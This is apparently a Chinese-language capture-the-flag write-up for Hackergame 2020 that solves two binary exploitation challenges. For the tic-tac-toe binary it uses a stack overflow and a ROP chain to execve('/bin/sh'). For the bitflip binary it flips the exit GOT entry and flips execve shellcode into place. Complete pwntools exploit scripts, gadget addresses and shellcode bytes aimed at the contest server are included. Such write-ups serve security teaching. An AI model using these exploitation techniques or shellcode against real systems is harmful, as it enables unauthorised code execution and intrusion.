前言
- 大赛地址: hack.lug.ustc.edu.cn/
- 官方 wp 地址: github.com/USTC-Hacker…
生活在博弈树上
这道题目要求和 AI 下一个 3x3 的井字棋,AI 先手且使用了一个不败的算法,最好的结果就是平局,而只有获胜我们才能拿到 flag。
第一问
第一问非常直白,只要获胜即可拿到第一个 flag,查看代码可以知道控制是否获胜的 success 变量是一个局部变量,即这里的 v15:
接收输入的变量为 v12,它也是一个栈变量,长度为 128B:
其中,v15 位于 rbp-1,v12 位于 rbp-0x90,因此这里我们可以通过 v12 栈溢出写入到 v15 中,使其变为 1 即可,因此在我们下第一步棋的时候在合法输入后跟上 payload 即可,注意这里不能无脑的写 1,因为循环的判断条件 while (!success) 的实际代码如下:
loc_402536:
movzx eax, [rbp+var_1]
xor eax, 1
test al, al
jnz loc_402373
这里取出 1B 进行异或判断,如果这 1B 不是 0x01 而是 0xFF,则会无法正常通过 test 判断,因此这里我们选择的 payload 为 0x01 的序列,例如:
payload = b'(2,1)' + p8(0x01) * (0x90 - 0x01)
第二问
第二问要求 get shell,这道题目开启了 NX 但木有使用 Stack Canary,所以我们可以使用 ROP 方式完成调用 execve("/bin/sh", 0, 0),这里在 x64 下 execve 对应的调用号为 59,因此需要满足以下条件:
rax = 59
rdi = ptr -> /bin/sh
rsi = 0
rdx = 0
一般而言对于动态链接 libc 的程序,非常容易找到这些 gadget 以及 /bin/sh 字符串,但这道题目的 binary 静态链接了 libc,在这种情况下我们能找到的 gadget 只有如下这些:
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall = 0x0000000000402bf4
这些能够完成一个 syscall 的调用,但却无法提供一个指向 /bin/sh 的指针,这就要求我们在 input 时在 payload 中预留一个 /bin/sh,再让 rdi 种存储它的地址,这里有两种玩法,第一种是先给任意寄存器写一个堆地址,再用 mov qword ptr 将 /bin/sh 写入到这个堆地址,最后就能 happy 的使用了,这种解法可以见官方 writeup。 我当时费解了竟然没有想到这种简单办法,而是选择了控制 rbp 去重入一次程序,精确控制写入的地址。
我最后采取的办法是控制 rbp,我们知道栈上的寻址都是直接基于 rbp 的,在函数最后执行 leave 操作时会 pop rbp,因此我们可以将期望的 rbp 写到栈上,然后将返回地址覆盖成程序接收输入前的地址,实现一个 rbp 可控的重入,这次我们就可以基于 hardcode 的 rbp 确定 /bin/sh 的地址了。
这里我选择的重入点为输入前的 0x4023F0:
对于 rbp,本来想选择一个栈上地址,但不知道为什么 remote 一直 crash,最后选择了一个堆地址 0x4a9000:
payload 为:
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(0x4a9000) + p64(0x4023F0)
其中 0x4a9000 正好覆盖到栈上的 rbp,0x4023F0 则覆盖道返回地址,这么一番操作之后,函数 leave 后 rbp = 0x4a9000 并跳转到 0x4023F0 再次接收用户输入。这里的关键在于第二轮 rbp = 0x4a9000,input 变量是基于 rbp 寻址的,所以会写入到 rbp - 0x90 对应的地址:
随后在函数退出时,又会执行 leave,将当前的 rbp 赋值到 rsp 以恢复栈帧,使得 rsp 恰好指向了我们的 payload:
input = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + payload
那么 payload 的开头我们如果放置 /bin/sh,则 rsp 恰好指向 /bin/sh,也就是 rbp 恰好指向 /bin/sh,即 0x4a9000 即为 /bin/sh 的地址。接下来就可以按照 ROP 的套路构造如下的调用链,gadget 可以使用 Ropper 直接在 binary 中扫描:
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret
其中 rax 的值为 59(execve 的 syscall number),rdi 的值为 0x4a9000(/bin/sh 地址),其他的均为 0,我们按照这个规则构造 payload:
payload = b'/bin/sh\x00'
payload += p64(g_pop_rax_ret) + p64(59)
pyaload += p64(g_pop_rdi_ret) + p64(0x4a9000)
payload += p64(g_pop_rsi_ret) + p64(0)
payload += p64(g_pop_rdx_ret) + p64(0)
payload += p64(g_syscall)
当第二次进入 leave 时,rsp 指向了 payload 的开头,随后函数 ret,第一个 gadget 地址 g_pop_rax_ret 被弹出,执行:
pop rax
ret
第一次 pop 弹出的是 payload + 8 的 59,随后的 ret 则弹出下一个 gadget,以此类推,最后即可 get shell。完整代码如下:
from pwn import *
import sys
rbp = 0x4a9000
target_addr = rbp
is_remote = True
if not is_remote:
p = process('./tictactoe')
else:
p = remote('202.38.93.111', 10141)
if is_remote:
print(p.recvuntil(':'))
p.sendline('your token')
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall = 0x0000000000402bf4
g_restart = 0x4023F0
# first round
print('first round: change rbp')
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(rbp) + p64(g_restart)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvuntil(':'))
print('[Main] round 1 finished')
rop_payload = p64(g_pop_rax_ret) + p64(59) + p64(g_pop_rdi_ret) + p64(target_addr) + p64(g_pop_rsi_ret) + p64(0) + p64(g_pop_rdx_ret) + p64(0)
rop_payload += p64(g_syscall)
payload = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + b'/bin/sh\x00' + rop_payload
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvline())
print(p.recvline())
p.interactive()
超精准的宇宙射线模拟器
这道题明面上允许我们翻转任意地址内容的一位,随后调用 exit 退出,为了 get shell,我们需要多次翻转某个地址成为 shellcode 或者指向 one_gadget,然后想办法跳转到此完成 get shell。
ubuntu@ubuntu:~/ctf/hackergame2020$ checksec bitflip
[*] '/home/ubuntu/ctf/hackergame2020/bitflip'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
由于开启了 NX,因此第一个想法是利用 one_gadget,先翻转出 one_gadget 的地址再想办法跳转过去,遗憾的是经过我一顿操作无论如何也满足不了几个 gadget 的约束条件(而且是恰好不满足,看起来是有意为之)。接下来就再试试 shellcode,通过阅读反汇编内容不难知道 bitflip 种包含了一个 JIT 区域:
即从 _init_proc
~ _init_proc + 0x1000
都是 JIT 区域,即 0x401000 ~ 0x402000,通过 vmmap 也可以验证这一点:
那么我们只要在这段区域内翻转出 shellcode,然后跳过来执行即可实现 get shell,接下来我们面临两个问题:
- 如何实现多次翻转?
- 如何跳转到 JIT 区域?
实现多次翻转
我们来看主程序代码:
搞一波就会被 exit,而且翻转逻辑位于 while 外部,所以我们只能翻转 exit 的地址让它跳回去,这里的 exit 是一个外部符号,需要通过二次跳转实现调用,这里的二跳第一次对应的是 stub helper 用来绑定真实的 exit 地址并完成调用,第二次就是 exit 的真实地址了:
可以看到 exit 第一次绑定的间接地址是 0x401070,我们要将它翻转为 main 中的一个可用地址,经过尝试可知 0x401170 是一个不错的选择,它恰好能让程序返回到 while 1 当中从而多次接收输入,因此我们要翻转的是指向 0x401070 的 0x404038 的第 8 位,而程序只允许我们翻转 0 ~ 7 位,所以我们转化为翻转 0x404039 的第 0 位,即输入为:
0x404039 0
此时可以看到我们可以多次翻转地址了,下一步就是选择合适的 JIT 区域了,注意我们只能选择可以跳转过去的区域,这里我们可利用的也就只有 exit 了,再次翻转 exit 的间接跳转地址,让它指向 JIT 区域,目前的值是 0x401170,而 JIT 区域的范围是 0x401000 ~ 0x402000,我们可以选择翻转 0x404039 的第 3 位让 exit 指向 0x401970,那么 JIT 区域的位置也就确定了是 0x401970。
0x401970 是全 0 的区域,我们只需要按照 x64 shellcode 将其翻转即可,shellcode 为:
0000000000400080 <_start>:
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
######################
# 24 Bytes Shellcode #
######################
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05
由于我们不是以字符串的形式传递 shellcode 的,不需要避免字符串被 0 截断,可以将 /bin//sh 改为 /bin/sh\x00 (因为我遇到了 /bin//sh 无法正确执行 syscall 的问题,不知道为啥),即 shellcode bytes 为:
shellcode_bytes = [0x50, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05, 0xeb, 0xfe]
将这些内容通过翻转写入到 0x401970 开始的地址,然后在完全翻转完成后再翻转一次 0x404039 的第 3 位即可跳转过来完成 get shell。
完整代码如下:
from pwn import *
def patch(addr, locs):
for loc in locs:
print('patch 0x%x with flip %d' % (addr, loc))
p.sendline('0x%x %d' % (addr, loc))
p.recvuntil('flip?')
is_remote = True
if is_remote:
p = remote('202.38.93.111', 10231)
print(p.recvuntil(':'))
p.sendline('your token')
else:
p = process('./bitflip')
print(p.recvuntil('flip?'))
patch(0x404039, [0])
start_addr = 0x401970
shellcode_bytes = [0x50, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05, 0xeb, 0xfe]
for i in range(len(shellcode_bytes)):
cur_byte = 0x00
dst_byte = shellcode_bytes[i]
flip_bytes = []
for i in range(8):
cur_bit = cur_byte & (0x1 << i)
dst_bit = dst_byte & (0x1 << i)
if cur_bit != dst_bit:
flip_bytes.append(i)
print("for addr 0x%x" % start_addr, flip_bytes)
patch(start_addr, flip_bytes)
start_addr += 1
p.sendline('0x404039 3')
p.interactive()